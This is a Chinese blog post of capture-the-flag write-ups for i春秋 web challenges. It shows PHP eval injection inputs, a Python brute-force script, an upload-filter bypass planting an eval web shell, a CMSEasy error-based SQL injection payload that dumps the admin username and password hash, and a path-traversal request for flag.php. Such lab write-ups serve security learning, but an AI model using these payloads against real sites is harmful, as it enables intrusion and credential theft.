从零开始i春秋-web tag(持续更新)

爆破-1

打开url后发现页面显示
在这里插入图片描述
很明显为一个php审计题,首先用$a接收一个request变量"hello",对变量a进行正则匹配。

'/^\w*$/  //匹配全为字符的字符串

接下来出现了一个敏感函数eval()

eval("var_dump($$a);");

$$a为可变变量。eg.

$a='b';
$b='bb';
//$$a->bb

即$$a会编译变量a,可以联想到php的九大预定义变量:

$_GET		//获取所有表单以get方式提交的数据
$_POST		//POST提交的所有数据都会在此
$_REQUEST	//GET和POST提交的都会保存
$GLOBALS	//PHP中的所有全局变量
$_SERVER	//服务器信息
$_SESSION	//session会话数据
$_COOKIE	//cookie会话数据
$_ENV		//环境信息
$_FILES		//用户上传的文件信息

由于变量A需要匹配正则表达式,则可以尝试构造url

?hello=GLOBALS

即可获得flag

爆破-2

打开URL后,页面同样显示一个php代码。
在这里插入图片描述
题目提示:flag不在变量中
这样既可大胆猜测flag应该在flag.php中,接下来就是想办法如何获得flag.php中的内容。
代码依旧需要提交一个hello变量。
可以利用file() 函数,该函数可以用于将整个文件读入数组中。
可以构造url

?hello=file('flag.php')

既可获得flag

爆破-3

在这里插入图片描述

又是熟悉的代码审计,首先第一个IF判断语句是在初始化session中一个名为’nums’的属性,第二个IF判断则为超过两分钟后销毁session。接下来request接收一个’value’变量,紧接着第三个IF判断就是重点了。

if($_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0){
  $_SESSION['nums']++;
  $_SESSION['whoami'] = $str_rands;
  echo $str_rands;
}

首先判断value变量的第一和第二个字符拼接是否等于session的whoami属性,再判断变量value经过md5加密后的字符串,从第五个字符开始长度为四个字符是否等于0。若两个判断同时正确则session的nums属性自增,并打印出(echo) $str_rands变量,直到nums属性的值大于等于10,则echo出flag。
这样思路就有了,首先先通过提交value变量为ea,然后用数组绕过md5判断。
接下来可以通过手动爆破或者是脚本爆破。
手动爆破
首先构造url

?value[]=ea

接下来通过页面回显的 $str_rands变量的值变成下一个value[]的参数。
在这里插入图片描述

?value[]=sa

重复十次,则可获得flag。

脚本爆破

import requests

url="http://1c11a6a0563443a28cba0ca76ebbdcd0056e8f6a0f2646e4.changame.ichunqiu.com/?value[]="
#(高亮)此处的url需要加上/?value[]=
s=requests.Session()
payload='ea'

r=s.get(url+payload)
for i in range(10):
    payload=r.text[0:2]
    r=s.get(url+payload)
    print(r.text[0:50])

运行python脚本即可得到flag。

upload

打开url可以发现一个文件上传窗口。
在这里插入图片描述
那我随便上传一个带着phpinfo的php文件试试!

<?php phpinfo(); ?>

在这里插入图片描述
点击上传成功即可跳转到上传文件的地址。
在这里插入图片描述
页面显示的代码表名好像服务器过滤了"<?"和”php"符号,尝试双写绕过和大小写绕过都无济于事。

接着上传一个php长标签

<script language="pHp">@eval($_POST['psd'])</script>

点击“上传成功”即可获得url。
使用菜刀连接
在这里插入图片描述
题目提示密码在flag.php中
在这里插入图片描述
点开flag.php即可获得flag。

YeserCMS

首先我们先需要确认CMS版本,文档下载→随意点击其中一个文档→评论区
在这里插入图片描述
可以看出该网站是CMSEASY系统
接下来就需要万能的某度了,查找该系统曾经出现的漏洞
好了找了半天无果,果断开始查找wp!
看到别人大佬提到了一个叫“无限制报错注入”的漏洞!尝试通过该网址中提到的url和payload进行注入!
在这里插入图片描述

url:
http://xxx.com/celive/live/header.php
payload:
xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx',(UpdateXML(1,CONCAT(0x5b,substring((SELECT/**/GROUP_CONCAT(username,password) from yesercms_user),1,37),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery>

发现页面仅出现了账号和一部分密码,接下来修改payload的截取片段

payload:
xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx',(UpdateXML(1,CONCAT(0x5b,substring((SELECT/**/GROUP_CONCAT(username,password) from yesercms_user),10,50),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery>

对回显进行拼接即可得到完整的密码加密后的字符串。
[admin|ff512d4240cbbdeafada404677ccbe61]
接下来对密码部分进行md5解密
在这里插入图片描述
接着就可以开始后台登录了!
在这里插入图片描述
原本想着能不能在后台找到一个文件上传漏洞,好吧不行,迫不得已(快快乐乐)看了别人的WP,发现原来在当前模板编辑处存在文件读取漏洞
接着打开模板→ 当前模板编辑→选择其中一个模板编辑并用bp抓包,然后修改id的值为

&id=../../flag.php

即可获得flag!(这题真的只有五十分吗!
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值